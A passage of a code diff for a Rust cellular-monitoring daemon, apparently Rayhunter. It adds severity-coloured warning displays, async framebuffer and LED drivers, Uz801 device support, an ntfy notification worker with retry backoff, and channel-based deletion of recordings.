.expect("failed to analyze container");
if heuristic_warning {
info!("a heuristic triggered on this run!");
ui_update_sender.send(display::DisplayState::WarningDetected).await
.expect("couldn't send ui update message: {}");
}
}
let mut qmdl_store = qmdl_store_lock.write().await;
diag_task.process_container(qmdl_store.deref_mut(), container).await
},
Err(err) => {
error!("error reading diag device: {err}");
@@ -150,6 +303,7 @@ pub fn run_diag_read_thread(
});
}
/// Start recording API for web thread
pub async fn start_recording(
State(state): State<Arc<ServerState>>,
) -> Result<(StatusCode, String), (StatusCode, String)> {
@@ -171,6 +325,7 @@ pub async fn start_recording(
Ok((StatusCode::ACCEPTED, "ok".to_string()))
}
/// Stop recording API for web thread
pub async fn stop_recording(
State(state): State<Arc<ServerState>>,
) -> Result<(StatusCode, String), (StatusCode, String)> {
@@ -197,8 +352,27 @@ pub async fn delete_recording(
if state.config.debug_mode {
return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string()));
}
let mut qmdl_store = state.qmdl_store_lock.write().await;
match qmdl_store.delete_entry(&qmdl_name).await {
let (response_tx, response_rx) = oneshot::channel();
state
.diag_device_ctrl_sender
.send(DiagDeviceCtrlMessage::DeleteEntry {
name: qmdl_name.clone(),
response_tx,
})
.await
.map_err(|e| {
(
StatusCode::INTERNAL_SERVER_ERROR,
format!("couldn't send delete entry message: {e}"),
)
})?;
match response_rx.await.map_err(|e| {
(
StatusCode::INTERNAL_SERVER_ERROR,
format!("failed to receive delete response: {e}"),
)
})? {
Ok(_) => Ok((StatusCode::ACCEPTED, "ok".to_string())),
Err(RecordingStoreError::NoSuchEntryError) => Err((
StatusCode::BAD_REQUEST,
format!("no recording with name {qmdl_name}"),
@@ -207,31 +381,6 @@ pub async fn delete_recording(
StatusCode::INTERNAL_SERVER_ERROR,
format!("couldn't delete recording: {e}"),
)),
Ok(entry_type) => {
if entry_type == EntryType::Current {
state
.diag_device_ctrl_sender
.send(DiagDeviceCtrlMessage::StopRecording)
.await
.map_err(|e| {
(
StatusCode::INTERNAL_SERVER_ERROR,
format!("couldn't send stop recording message: {e}"),
)
})?;
state
.ui_update_sender
.send(display::DisplayState::Paused)
.await
.map_err(|e| {
(
StatusCode::INTERNAL_SERVER_ERROR,
format!("couldn't send ui update message: {e}"),
)
})?;
}
Ok((StatusCode::ACCEPTED, "ok".to_string()))
}
}
}
@@ -241,34 +390,29 @@ pub async fn delete_all_recordings(
if state.config.debug_mode {
return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string()));
}
let (response_tx, response_rx) = oneshot::channel();
state
.diag_device_ctrl_sender
.send(DiagDeviceCtrlMessage::StopRecording)
.send(DiagDeviceCtrlMessage::DeleteAllEntries { response_tx })
.await
.map_err(|e| {
(
StatusCode::INTERNAL_SERVER_ERROR,
format!("couldn't send stop recording message: {e}"),
format!("couldn't send delete all entries message: {e}"),
)
})?;
let mut qmdl_store = state.qmdl_store_lock.write().await;
qmdl_store.delete_all_entries().await.map_err(|e| {
match response_rx.await.map_err(|e| {
(
StatusCode::INTERNAL_SERVER_ERROR,
format!("couldn't delete all recordings: {e}"),
format!("failed to receive delete all response: {e}"),
)
})?;
state
.ui_update_sender
.send(display::DisplayState::Paused)
.await
.map_err(|e| {
(
StatusCode::INTERNAL_SERVER_ERROR,
format!("couldn't send ui update message: {e}"),
)
})?;
Ok((StatusCode::ACCEPTED, "ok".to_string()))
})? {
Ok(_) => Ok((StatusCode::ACCEPTED, "ok".to_string())),
Err(e) => Err((
StatusCode::INTERNAL_SERVER_ERROR,
format!("couldn't delete recordings: {e}"),
)),
}
}
pub async fn get_analysis_report(
@@ -291,9 +435,17 @@ pub async fn get_analysis_report(
.open_entry_analysis(entry_index)
.await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, format!("{e:?}")))?;
let analysis_stream = ReaderStream::new(analysis_file);
// Read and normalize the NDJSON file
let reader = BufReader::new(analysis_file);
let lines_stream = LinesStream::new(reader.lines());
let mut normalizer = AnalysisLineNormalizer::new();
let normalized_stream = lines_stream
.try_filter(|line| future::ready(!line.is_empty()))
.map_ok(move |line| normalizer.normalize_line(line));
let headers = [(CONTENT_TYPE, "application/x-ndjson")];
let body = Body::from_stream(analysis_stream);
let body = Body::from_stream(normalized_stream);
Ok((headers, body).into_response())
}
+88 -45
View File
@@ -1,9 +1,11 @@
use async_trait::async_trait;
use image::{AnimationDecoder, DynamicImage, codecs::gif::GifDecoder, imageops::FilterType};
use std::io::Cursor;
use std::time::Duration;
use crate::config;
use crate::display::DisplayState;
use rayhunter::analysis::analyzer::EventType;
use log::{error, info};
use tokio::sync::mpsc::Receiver;
@@ -11,16 +13,23 @@ use tokio::sync::oneshot;
use tokio::sync::oneshot::error::TryRecvError;
use tokio_util::task::TaskTracker;
use std::thread::sleep;
use include_dir::{Dir, include_dir};
const REFRESH_RATE: u64 = 1000; //how often in milliseconds to refresh the display
#[derive(Copy, Clone)]
pub struct Dimensions {
pub height: u32,
pub width: u32,
}
#[derive(Copy, Clone)]
pub enum LinePattern {
Solid,
Dashed, // _ _ _ _
Dotted, // . . . .
}
#[allow(dead_code)]
#[derive(Copy, Clone)]
pub enum Color {
@@ -32,6 +41,7 @@ pub enum Color {
Cyan,
Yellow,
Pink,
Orange,
}
impl Color {
@@ -45,35 +55,43 @@ impl Color {
Color::Cyan => (0, 0xff, 0xff),
Color::Yellow => (0xff, 0xff, 0),
Color::Pink => (0xfe, 0x24, 0xff),
Color::Orange => (0xff, 0xa5, 0),
}
}
}
impl Color {
fn from_state(state: DisplayState, colorblind_mode: bool) -> Self {
match state {
DisplayState::Paused => Color::White,
DisplayState::Recording => {
fn display_style_from_state(state: DisplayState, colorblind_mode: bool) -> (Color, LinePattern) {
match state {
DisplayState::Paused => (Color::White, LinePattern::Solid),
DisplayState::Recording => {
if colorblind_mode {
(Color::Blue, LinePattern::Solid)
} else {
(Color::Green, LinePattern::Solid)
}
}
DisplayState::WarningDetected { event_type } => match event_type {
EventType::Informational => {
if colorblind_mode {
Color::Blue
(Color::Blue, LinePattern::Solid)
} else {
Color::Green
(Color::Green, LinePattern::Solid)
}
}
DisplayState::WarningDetected => Color::Red,
}
EventType::Low => (Color::Yellow, LinePattern::Dotted),
EventType::Medium => (Color::Orange, LinePattern::Dashed),
EventType::High => (Color::Red, LinePattern::Solid),
},
}
}
#[async_trait]
pub trait GenericFramebuffer: Send + 'static {
fn dimensions(&self) -> Dimensions;
fn write_buffer(
&mut self,
buffer: &[(u8, u8, u8)], // rgb, row-wise, left-to-right, top-to-bottom
);
async fn write_buffer(&mut self, buffer: Vec<(u8, u8, u8)>); // rgb, row-wise, left-to-right, top-to-bottom
fn write_dynamic_image(&mut self, img: DynamicImage) {
async fn write_dynamic_image(&mut self, img: DynamicImage) {
let dimensions = self.dimensions();
let mut width = img.width();
let mut height = img.height();
@@ -94,36 +112,60 @@ pub trait GenericFramebuffer: Send + 'static {
}
}
self.write_buffer(&buf);
self.write_buffer(buf).await
}
fn draw_gif(&mut self, img_buffer: &[u8]) {
// this is dumb and i'm sure there's a better way to loop this
async fn draw_gif(&mut self, img_buffer: &[u8]) {
let cursor = Cursor::new(img_buffer);
let decoder = GifDecoder::new(cursor).unwrap();
for maybe_frame in decoder.into_frames() {
let frame = maybe_frame.unwrap();
let (numerator, _) = frame.delay().numer_denom_ms();
let img = DynamicImage::from(frame.into_buffer());
self.write_dynamic_image(img);
std::thread::sleep(Duration::from_millis(numerator as u64));
if let Ok(decoder) = GifDecoder::new(cursor) {
let frames: Vec<_> = decoder
.into_frames()
.filter_map(|f| f.ok())
.map(|frame| {
let (numerator, _) = frame.delay().numer_denom_ms();
let img = DynamicImage::from(frame.into_buffer());
(img, numerator as u64)
})
.collect();
for (img, delay_ms) in frames {
self.write_dynamic_image(img).await;
tokio::time::sleep(Duration::from_millis(delay_ms)).await;
}
}
}
fn draw_img(&mut self, img_buffer: &[u8]) {
async fn draw_img(&mut self, img_buffer: &[u8]) {
let img = image::load_from_memory(img_buffer).unwrap();
self.write_dynamic_image(img);
self.write_dynamic_image(img).await
}
fn draw_line(&mut self, color: Color, height: u32) {
async fn draw_line(&mut self, color: Color, height: u32) {
self.draw_patterned_line(color, height, LinePattern::Solid)
.await
}
async fn draw_patterned_line(&mut self, color: Color, height: u32, pattern: LinePattern) {
let width = self.dimensions().width;
let px_num = height * width;
let mut buffer = Vec::new();
for _ in 0..px_num {
buffer.push(color.rgb());
for _row in 0..height {
for col in 0..width {
let should_draw = match pattern {
LinePattern::Solid => true,
LinePattern::Dashed => (col / 4) % 2 == 0, // 4 pixels on, 4 pixels off
LinePattern::Dotted => col % 4 == 0, // 1 pixel on, 3 pixels off
};
if should_draw {
buffer.push(color.rgb());
} else {
buffer.push((0, 0, 0)); // Black background
}
}
}
self.write_buffer(&buffer);
self.write_buffer(buffer).await
}
}
@@ -141,9 +183,9 @@ pub fn update_ui(
}
let colorblind_mode = config.colorblind_mode;
let mut display_color = Color::from_state(DisplayState::Recording, colorblind_mode);
let mut display_style = display_style_from_state(DisplayState::Recording, colorblind_mode);
task_tracker.spawn_blocking(move || {
task_tracker.spawn(async move {
// this feels wrong, is there a more rusty way to do this?
let mut img: Option<&[u8]> = None;
if display_level == 2 {
@@ -172,28 +214,29 @@ pub fn update_ui(
}
match ui_update_rx.try_recv() {
Ok(state) => {
display_color = Color::from_state(state, colorblind_mode);
display_style = display_style_from_state(state, colorblind_mode);
}
Err(tokio::sync::mpsc::error::TryRecvError::Empty) => {}
Err(e) => error!("error receiving framebuffer update message: {e}"),
}
match display_level {
2 => fb.draw_gif(img.unwrap()),
3 => fb.draw_img(img.unwrap()),
2 => fb.draw_gif(img.unwrap()).await,
3 => fb.draw_img(img.unwrap()).await,
128 => {
fb.draw_line(Color::Cyan, 128);
fb.draw_line(Color::Pink, 102);
fb.draw_line(Color::White, 76);
fb.draw_line(Color::Pink, 50);
fb.draw_line(Color::Cyan, 25);
fb.draw_line(Color::Cyan, 128).await;
fb.draw_line(Color::Pink, 102).await;
fb.draw_line(Color::White, 76).await;
fb.draw_line(Color::Pink, 50).await;
fb.draw_line(Color::Cyan, 25).await;
}
// this branch id for ui_level 1, which is also the default if an
// unknown value is used
_ => {}
};
fb.draw_line(display_color, 2);
sleep(Duration::from_millis(1000));
let (color, pattern) = display_style;
fb.draw_patterned_line(color, 2, pattern).await;
tokio::time::sleep(Duration::from_millis(REFRESH_RATE)).await;
}
});
}
+12 -2
View File
@@ -1,3 +1,6 @@
use rayhunter::analysis::analyzer::EventType;
use serde::{Deserialize, Serialize};
mod generic_framebuffer;
pub mod headless;
@@ -6,11 +9,18 @@ pub mod tmobile;
pub mod tplink;
pub mod tplink_framebuffer;
pub mod tplink_onebit;
pub mod uz801;
pub mod wingtech;
#[derive(Clone, Copy, PartialEq)]
#[derive(Clone, Copy, PartialEq, Serialize, Deserialize)]
pub enum DisplayState {
/// We're recording but no warning has been found yet.
Recording,
/// We're not recording.
Paused,
WarningDetected,
/// A non-informational event has been detected.
///
/// Note that EventType::Informational is never sent through this. If it is, it's the same as
/// Recording
WarningDetected { event_type: EventType },
}
+7 -5
View File
@@ -1,6 +1,7 @@
use crate::config;
use crate::display::DisplayState;
use crate::display::generic_framebuffer::{self, Dimensions, GenericFramebuffer};
use async_trait::async_trait;
use tokio::sync::mpsc::Receiver;
use tokio::sync::oneshot;
@@ -11,6 +12,7 @@ const FB_PATH: &str = "/dev/fb0";
#[derive(Copy, Clone, Default)]
struct Framebuffer;
#[async_trait]
impl GenericFramebuffer for Framebuffer {
fn dimensions(&self) -> Dimensions {
// TODO actually poll for this, maybe w/ fbset?
@@ -20,16 +22,16 @@ impl GenericFramebuffer for Framebuffer {
}
}
fn write_buffer(&mut self, buffer: &[(u8, u8, u8)]) {
async fn write_buffer(&mut self, buffer: Vec<(u8, u8, u8)>) {
let mut raw_buffer = Vec::new();
for (r, g, b) in buffer {
let mut rgb565: u16 = (*r as u16 & 0b11111000) << 8;
rgb565 |= (*g as u16 & 0b11111100) << 3;
rgb565 |= (*b as u16) >> 3;
let mut rgb565: u16 = (r as u16 & 0b11111000) << 8;
rgb565 |= (g as u16 & 0b11111100) << 3;
rgb565 |= (b as u16) >> 3;
raw_buffer.extend(rgb565.to_le_bytes());
}
std::fs::write(FB_PATH, &raw_buffer).unwrap();
tokio::fs::write(FB_PATH, &raw_buffer).await.unwrap();
}
}
+18 -20
View File
@@ -1,14 +1,12 @@
/// Display module for Tmobile TMOHS1, blink LEDs on the front of the device.
/// DisplayState::Recording => Signal LED slowly blinks blue.
/// DisplayState::Paused => WiFi LED blinks white.
/// DisplayState::WarningDetected => Signal LED slowly blinks red.
/// DisplayState::WarningDetected { .. } => Signal LED slowly blinks red.
use log::{error, info};
use tokio::sync::mpsc;
use tokio::sync::oneshot;
use tokio_util::task::TaskTracker;
use std::fs::write;
use std::thread::sleep;
use std::time::Duration;
use crate::config;
@@ -18,12 +16,12 @@ macro_rules! led {
($l:expr) => {{ format!("/sys/class/leds/led:{}/blink", $l) }};
}
fn start_blinking(path: String) {
write(&path, "1").ok();
async fn start_blinking(path: String) {
tokio::fs::write(&path, "1").await.ok();
}
fn stop_blinking(path: String) {
write(&path, "0").ok();
async fn stop_blinking(path: String) {
tokio::fs::write(&path, "0").await.ok();
}
pub fn update_ui(
@@ -37,7 +35,7 @@ pub fn update_ui(
info!("Invisible mode, not spawning UI.");
invisible = true;
}
task_tracker.spawn_blocking(move || {
task_tracker.spawn(async move {
let mut state = DisplayState::Recording;
let mut last_state = DisplayState::Paused;
@@ -56,28 +54,28 @@ pub fn update_ui(
Err(e) => error!("error receiving ui update message: {e}"),
};
if invisible || state == last_state {
sleep(Duration::from_secs(1));
tokio::time::sleep(Duration::from_secs(1)).await;
continue;
}
match state {
DisplayState::Paused => {
stop_blinking(led!("signal_blue"));
stop_blinking(led!("signal_red"));
start_blinking(led!("wlan_white"));
stop_blinking(led!("signal_blue")).await;
stop_blinking(led!("signal_red")).await;
start_blinking(led!("wlan_white")).await;
}
DisplayState::Recording => {
stop_blinking(led!("wlan_white"));
stop_blinking(led!("signal_red"));
start_blinking(led!("signal_blue"));
stop_blinking(led!("wlan_white")).await;
stop_blinking(led!("signal_red")).await;
start_blinking(led!("signal_blue")).await;
}
DisplayState::WarningDetected => {
stop_blinking(led!("wlan_white"));
stop_blinking(led!("signal_blue"));
start_blinking(led!("signal_red"));
DisplayState::WarningDetected { .. } => {
stop_blinking(led!("wlan_white")).await;
stop_blinking(led!("signal_blue")).await;
start_blinking(led!("signal_red")).await;
}
}
last_state = state;
sleep(Duration::from_secs(1));
tokio::time::sleep(Duration::from_secs(1)).await;
}
});
}
+2
View File
@@ -19,6 +19,8 @@ pub fn update_ui(
info!("Invisible mode, not spawning UI.");
}
// Since this is a one-time check at startup, using sync is acceptable
// The alternative would be to make the entire initialization async
if fs::exists(tplink_onebit::OLED_PATH).unwrap_or_default() {
info!("detected one-bit display");
tplink_onebit::update_ui(task_tracker, config, ui_shutdown_rx, ui_update_rx)
+11 -8
View File
@@ -1,6 +1,7 @@
use std::fs::File;
use std::io::Write;
use async_trait::async_trait;
use std::os::fd::AsRawFd;
use tokio::fs::OpenOptions;
use tokio::io::AsyncWriteExt;
use crate::config;
use crate::display::DisplayState;
@@ -24,6 +25,7 @@ struct fb_fillrect {
rop: u32,
}
#[async_trait]
impl GenericFramebuffer for Framebuffer {
fn dimensions(&self) -> Dimensions {
// TODO actually poll for this, maybe w/ fbset?
@@ -33,12 +35,12 @@ impl GenericFramebuffer for Framebuffer {
}
}
fn write_buffer(&mut self, buffer: &[(u8, u8, u8)]) {
async fn write_buffer(&mut self, buffer: Vec<(u8, u8, u8)>) {
// for how to write to the buffer, consult M7350v5_en_gpl/bootable/recovery/recovery_color_oled.c
let dimensions = self.dimensions();
let width = dimensions.width;
let height = buffer.len() as u32 / width;
let mut f = File::options().write(true).open(FB_PATH).unwrap();
let mut f = OpenOptions::new().write(true).open(FB_PATH).await.unwrap();
let mut arg = fb_fillrect {
dx: 0,
dy: 0,
@@ -50,15 +52,16 @@ impl GenericFramebuffer for Framebuffer {
let mut raw_buffer = Vec::new();
for (r, g, b) in buffer {
let mut rgb565: u16 = (*r as u16 & 0b11111000) << 8;
rgb565 |= (*g as u16 & 0b11111100) << 3;
rgb565 |= (*b as u16) >> 3;
let mut rgb565: u16 = (r as u16 & 0b11111000) << 8;
rgb565 |= (g as u16 & 0b11111100) << 3;
rgb565 |= (b as u16) >> 3;
// note: big-endian!
raw_buffer.extend(rgb565.to_be_bytes());
}
f.write_all(&raw_buffer).unwrap();
f.write_all(&raw_buffer).await.unwrap();
// ioctl is a synchronous operation, but it's fast enough that it shouldn't block
unsafe {
let res = libc::ioctl(
f.as_raw_fd(),
+7 -9
View File
@@ -10,8 +10,6 @@ use tokio::sync::oneshot;
use tokio::sync::oneshot::error::TryRecvError;
use tokio_util::task::TaskTracker;
use std::fs;
use std::thread::sleep;
use std::time::Duration;
pub const OLED_PATH: &str = "/sys/class/display/oled/oled_buffer";
@@ -122,7 +120,7 @@ pub fn update_ui(
info!("Invisible mode, not spawning UI.");
}
task_tracker.spawn_blocking(move || {
task_tracker.spawn(async move {
let mut pixels = STATUS_SMILING;
loop {
@@ -138,7 +136,7 @@ pub fn update_ui(
match ui_update_rx.try_recv() {
Ok(DisplayState::Paused) => pixels = STATUS_PAUSED,
Ok(DisplayState::Recording) => pixels = STATUS_SMILING,
Ok(DisplayState::WarningDetected) => pixels = STATUS_WARNING,
Ok(DisplayState::WarningDetected { .. }) => pixels = STATUS_WARNING,
Err(tokio::sync::mpsc::error::TryRecvError::Empty) => {}
Err(e) => {
error!("error receiving framebuffer update message: {e}");
@@ -147,13 +145,13 @@ pub fn update_ui(
// we write the status every second because it may have been overwritten through menu
// navigation.
if display_level != 0 {
if let Err(e) = fs::write(OLED_PATH, pixels) {
error!("failed to write to display: {e}");
}
if display_level != 0
&& let Err(e) = tokio::fs::write(OLED_PATH, pixels).await
{
error!("failed to write to display: {e}");
}
sleep(Duration::from_millis(1000));
tokio::time::sleep(Duration::from_millis(1000)).await;
}
});
}
+89
View File
@@ -0,0 +1,89 @@
/// Display module for Uz801, light LEDs on the front of the device.
/// DisplayState::Recording => Green LED is solid.
/// DisplayState::Paused => Signal LED is solid blue (wifi LED).
/// DisplayState::WarningDetected => Signal LED is solid red.
use log::{error, info};
use tokio::sync::mpsc;
use tokio::sync::oneshot;
use tokio_util::task::TaskTracker;
use std::time::Duration;
use crate::config;
use crate::display::DisplayState;
macro_rules! led {
($l:expr) => {{ format!("/sys/class/leds/{}/brightness", $l) }};
}
async fn led_on(path: String) {
tokio::fs::write(&path, "1").await.ok();
}
async fn led_off(path: String) {
tokio::fs::write(&path, "0").await.ok();
}
pub fn update_ui(
task_tracker: &TaskTracker,
config: &config::Config,
mut ui_shutdown_rx: oneshot::Receiver<()>,
mut ui_update_rx: mpsc::Receiver<DisplayState>,
) {
let mut invisible: bool = false;
if config.ui_level == 0 {
info!("Invisible mode, not spawning UI.");
invisible = true;
}
task_tracker.spawn(async move {
let mut state = DisplayState::Recording;
let mut last_state = DisplayState::Paused;
let mut last_update = std::time::Instant::now();
loop {
match ui_shutdown_rx.try_recv() {
Ok(_) => {
info!("received UI shutdown");
break;
}
Err(oneshot::error::TryRecvError::Empty) => {}
Err(e) => panic!("error receiving shutdown message: {e}"),
}
match ui_update_rx.try_recv() {
Ok(new_state) => state = new_state,
Err(mpsc::error::TryRecvError::Empty) => {}
Err(e) => error!("error receiving ui update message: {e}"),
};
// Update LEDs if state changed or if 5 seconds have passed since last update
let now = std::time::Instant::now();
let should_update = !invisible
&& (state != last_state
|| now.duration_since(last_update) >= Duration::from_secs(5));
if should_update {
match state {
DisplayState::Paused => {
led_off(led!("red")).await;
led_off(led!("green")).await;
led_on(led!("wifi")).await;
}
DisplayState::Recording => {
led_off(led!("red")).await;
led_off(led!("wifi")).await;
led_on(led!("green")).await;
}
DisplayState::WarningDetected { .. } => {
led_off(led!("green")).await;
led_off(led!("wifi")).await;
led_on(led!("red")).await;
}
}
last_state = state;
last_update = now;
}
tokio::time::sleep(Duration::from_secs(1)).await;
}
});
}
+10 -8
View File
@@ -1,12 +1,13 @@
use crate::config;
use crate::display::DisplayState;
use crate::display::generic_framebuffer::{self, Dimensions, GenericFramebuffer};
/// Display support for the Wingtech CT2MHS01 hotspot.
///
/// Tested on (from `/etc/wt_version`):
/// WT_INNER_VERSION=SW_Q89323AA1_V057_M10_CRICKET_USR_MP
/// WT_PRODUCTION_VERSION=CT2MHS01_0.04.55
/// WT_HARDWARE_VERSION=89323_1_20
use crate::config;
use crate::display::DisplayState;
use crate::display::generic_framebuffer::{self, Dimensions, GenericFramebuffer};
use async_trait::async_trait;
use tokio::sync::mpsc::Receiver;
use tokio::sync::oneshot;
@@ -17,6 +18,7 @@ const FB_PATH: &str = "/dev/fb0";
#[derive(Copy, Clone, Default)]
struct Framebuffer;
#[async_trait]
impl GenericFramebuffer for Framebuffer {
fn dimensions(&self) -> Dimensions {
Dimensions {
@@ -25,16 +27,16 @@ impl GenericFramebuffer for Framebuffer {
}
}
fn write_buffer(&mut self, buffer: &[(u8, u8, u8)]) {
async fn write_buffer(&mut self, buffer: Vec<(u8, u8, u8)>) {
let mut raw_buffer = Vec::new();
for (r, g, b) in buffer {
let mut rgb565: u16 = (*r as u16 & 0b11111000) << 8;
rgb565 |= (*g as u16 & 0b11111100) << 3;
rgb565 |= (*b as u16) >> 3;
let mut rgb565: u16 = (r as u16 & 0b11111000) << 8;
rgb565 |= (g as u16 & 0b11111100) << 3;
rgb565 |= (b as u16) >> 3;
raw_buffer.extend(rgb565.to_le_bytes());
}
std::fs::write(FB_PATH, &raw_buffer).unwrap();
tokio::fs::write(FB_PATH, &raw_buffer).await.unwrap();
}
}
+5 -5
View File
@@ -61,11 +61,11 @@ pub fn run_key_input_thread(
// On orbic it was observed that pressing the power button can trigger many successive
// events. Drop events that are too close together.
if let Some(last_time) = last_event_time {
if now.duration_since(last_time) < Duration::from_millis(50) {
last_event_time = Some(now);
continue;
}
if let Some(last_time) = last_event_time
&& now.duration_since(last_time) < Duration::from_millis(50)
{
last_event_time = Some(now);
continue;
}
last_event_time = Some(now);
+19 -3
View File
@@ -4,6 +4,7 @@ mod diag;
mod display;
mod error;
mod key_input;
mod notifications;
mod pcap;
mod qmdl_store;
mod server;
@@ -16,9 +17,12 @@ use std::sync::atomic::{AtomicBool, Ordering};
use crate::config::{parse_args, parse_config};
use crate::diag::run_diag_read_thread;
use crate::error::RayhunterError;
use crate::notifications::{NotificationService, run_notification_worker};
use crate::pcap::get_pcap;
use crate::qmdl_store::RecordingStore;
use crate::server::{ServerState, get_config, get_qmdl, get_zip, serve_static, set_config};
use crate::server::{
ServerState, debug_set_display_state, get_config, get_qmdl, get_zip, serve_static, set_config,
};
use crate::stats::{get_qmdl_manifest, get_system_stats};
use analysis::{
@@ -60,6 +64,7 @@ fn get_router() -> AppRouter {
.route("/api/analysis/{name}", post(start_analysis))
.route("/api/config", get(get_config))
.route("/api/config", post(set_config))
.route("/api/debug/display-state", post(debug_set_display_state))
.route("/", get(|| async { Redirect::permanent("/index.html") }))
.route("/{*path}", get(serve_static))
}
@@ -182,10 +187,14 @@ fn run_shutdown_thread(
})
}
#[tokio::main]
#[tokio::main(flavor = "current_thread")]
async fn main() -> Result<(), RayhunterError> {
env_logger::init();
rustls_rustcrypto::provider()
.install_default()
.expect("Couldn't install rustcrypto provider");
let args = parse_args();
loop {
@@ -213,6 +222,9 @@ async fn run_with_config(
let (analysis_tx, analysis_rx) = mpsc::channel::<AnalysisCtrlMessage>(5);
let mut maybe_ui_shutdown_tx = None;
let mut maybe_key_input_shutdown_tx = None;
let notification_service = NotificationService::new(config.ntfy_url.clone());
if !config.debug_mode {
let (ui_shutdown_tx, ui_shutdown_rx) = oneshot::channel();
maybe_ui_shutdown_tx = Some(ui_shutdown_tx);
@@ -229,10 +241,12 @@ async fn run_with_config(
&task_tracker,
dev,
diag_rx,
diag_tx.clone(),
ui_update_tx.clone(),
qmdl_store_lock.clone(),
analysis_tx.clone(),
config.analyzers.clone(),
notification_service.new_handler(),
);
info!("Starting UI");
@@ -242,6 +256,7 @@ async fn run_with_config(
Device::Tmobile => display::tmobile::update_ui,
Device::Wingtech => display::wingtech::update_ui,
Device::Pinephone => display::headless::update_ui,
Device::Uz801 => display::uz801::update_ui,
};
update_ui(&task_tracker, &config, ui_shutdown_rx, ui_update_rx);
@@ -279,15 +294,16 @@ async fn run_with_config(
qmdl_store_lock.clone(),
analysis_tx.clone(),
);
run_notification_worker(&task_tracker, notification_service);
let state = Arc::new(ServerState {
config_path: args.config_path.clone(),
config,
qmdl_store_lock: qmdl_store_lock.clone(),
diag_device_ctrl_sender: diag_tx,
ui_update_sender: ui_update_tx,
analysis_status_lock,
analysis_sender: analysis_tx,
daemon_restart_tx: Arc::new(RwLock::new(Some(daemon_restart_tx))),
ui_update_sender: Some(ui_update_tx),
});
run_server(&task_tracker, state, server_shutdown_rx).await;
+148
View File
@@ -0,0 +1,148 @@
use std::{
cmp::min,
collections::HashMap,
time::{Duration, Instant},
};
use log::error;
use tokio::sync::mpsc::{self, error::TryRecvError};
use tokio_util::task::TaskTracker;
pub struct Notification {
message_type: String,
message: String,
debounce: Option<Duration>,
}
impl Notification {
pub fn new(message_type: String, message: String, debounce: Option<Duration>) -> Self {
Notification {
message_type,
message,
debounce,
}
}
}
struct NotificationStatus {
message: String,
needs_sending: bool,
last_sent: Option<Instant>,
last_attempt: Option<Instant>,
failed_since_last_success: u32,
}
pub struct NotificationService {
url: Option<String>,
tx: mpsc::Sender<Notification>,
rx: mpsc::Receiver<Notification>,
}
impl NotificationService {
pub fn new(url: Option<String>) -> Self {
let (tx, rx) = mpsc::channel(10);
Self { url, tx, rx }
}
pub fn new_handler(&self) -> mpsc::Sender<Notification> {
self.tx.clone()
}
}
pub fn run_notification_worker(
task_tracker: &TaskTracker,
mut notification_service: NotificationService,
) {
task_tracker.spawn(async move {
if let Some(url) = notification_service.url
&& !url.is_empty()
{
let mut notification_statuses = HashMap::new();
let http_client = reqwest::Client::new();
loop {
// Get any notifications since the last time we checked
loop {
match notification_service.rx.try_recv() {
Ok(notification) => {
let status = notification_statuses
.entry(notification.message_type)
.or_insert_with(|| NotificationStatus {
message: "".to_string(),
needs_sending: true,
last_sent: None,
last_attempt: None,
failed_since_last_success: 0,
});
// Ignore if we're in the debounce period
if let Some(debounce) = notification.debounce
&& let Some(last_sent) = status.last_sent
&& last_sent.elapsed() < debounce
{
continue;
}
status.message = notification.message;
status.needs_sending = true;
}
Err(TryRecvError::Empty) => {
break;
}
Err(TryRecvError::Disconnected) => {
return;
}
}
}
// Attempt to send pending notifications
for notification in notification_statuses.values_mut() {
if !notification.needs_sending {
continue;
}
// Backoff retries, up to a maximum of 256 seconds.
if let Some(last_attempt) = notification.last_attempt {
let min_wait_time = Duration::from_secs(
2u64.pow(min(notification.failed_since_last_success, 8)),
);
if last_attempt.elapsed() < min_wait_time {
continue;
}
}
match http_client
.post(&url)
.body(notification.message.clone())
.send()
.await
{
Ok(response) => {
if response.status().is_success() {
notification.last_sent = Some(Instant::now());
notification.failed_since_last_success = 0;
notification.needs_sending = false;
} else {
notification.failed_since_last_success += 1;
notification.last_attempt = Some(Instant::now());
}
}
Err(e) => {
error!("Failed to send notification to ntfy: {e}");
notification.failed_since_last_success += 1;
notification.last_attempt = Some(Instant::now());
}
}
}
tokio::time::sleep(Duration::from_secs(2)).await;
}
}
// If there's no url to send to we'll just discard the notifications
else {
loop {
if notification_service.rx.recv().await.is_none() {
break;
}
}
}
});
}
+14 -12
View File
@@ -56,12 +56,6 @@ pub struct ManifestEntry {
pub arch: Option<String>,
}
#[derive(PartialEq, Eq)]
pub enum EntryType {
Current,
Past,
}
impl ManifestEntry {
fn new() -> Self {
let now = Local::now();
@@ -347,23 +341,31 @@ impl RecordingStore {
Some((entry_index, &self.manifest.entries[entry_index]))
}
pub async fn delete_entry(&mut self, name: &str) -> Result<EntryType, RecordingStoreError> {
pub fn is_current_entry(&self, name: &str) -> bool {
match self.current_entry {
Some(idx) => match self.manifest.entries.get(idx) {
Some(entry) => entry.name == name,
None => false,
},
None => false,
}
}
pub async fn delete_entry(&mut self, name: &str) -> Result<(), RecordingStoreError> {
let entry_to_delete_idx = self
.manifest
.entries
.iter()
.position(|entry| entry.name == name)
.ok_or(RecordingStoreError::NoSuchEntryError)?;
let is_current = match self.current_entry {
match self.current_entry {
Some(current_entry) if current_entry == entry_to_delete_idx => {
self.close_current_entry().await?;
EntryType::Current
}
Some(current_entry) => {
self.current_entry = Some(current_entry - 1);
EntryType::Past
}
None => EntryType::Past,
None => {}
};
let entry_to_delete = self.manifest.entries.remove(entry_to_delete_idx);
self.write_manifest().await?;
@@ -375,7 +377,7 @@ impl RecordingStore {
remove_file_if_exists(&analysis_filepath)
.await
.map_err(RecordingStoreError::DeleteFileError)?;
Ok(is_current)
Ok(())
}
pub async fn delete_all_entries(&mut self) -> Result<(), RecordingStoreError> {
+27 -4
View File
@@ -18,21 +18,22 @@ use tokio::sync::{RwLock, oneshot};
use tokio_util::compat::FuturesAsyncWriteCompatExt;
use tokio_util::io::ReaderStream;
use crate::DiagDeviceCtrlMessage;
use crate::analysis::{AnalysisCtrlMessage, AnalysisStatus};
use crate::config::Config;
use crate::display::DisplayState;
use crate::pcap::generate_pcap_data;
use crate::qmdl_store::RecordingStore;
use crate::{DiagDeviceCtrlMessage, display};
pub struct ServerState {
pub config_path: String,
pub config: Config,
pub qmdl_store_lock: Arc<RwLock<RecordingStore>>,
pub diag_device_ctrl_sender: Sender<DiagDeviceCtrlMessage>,
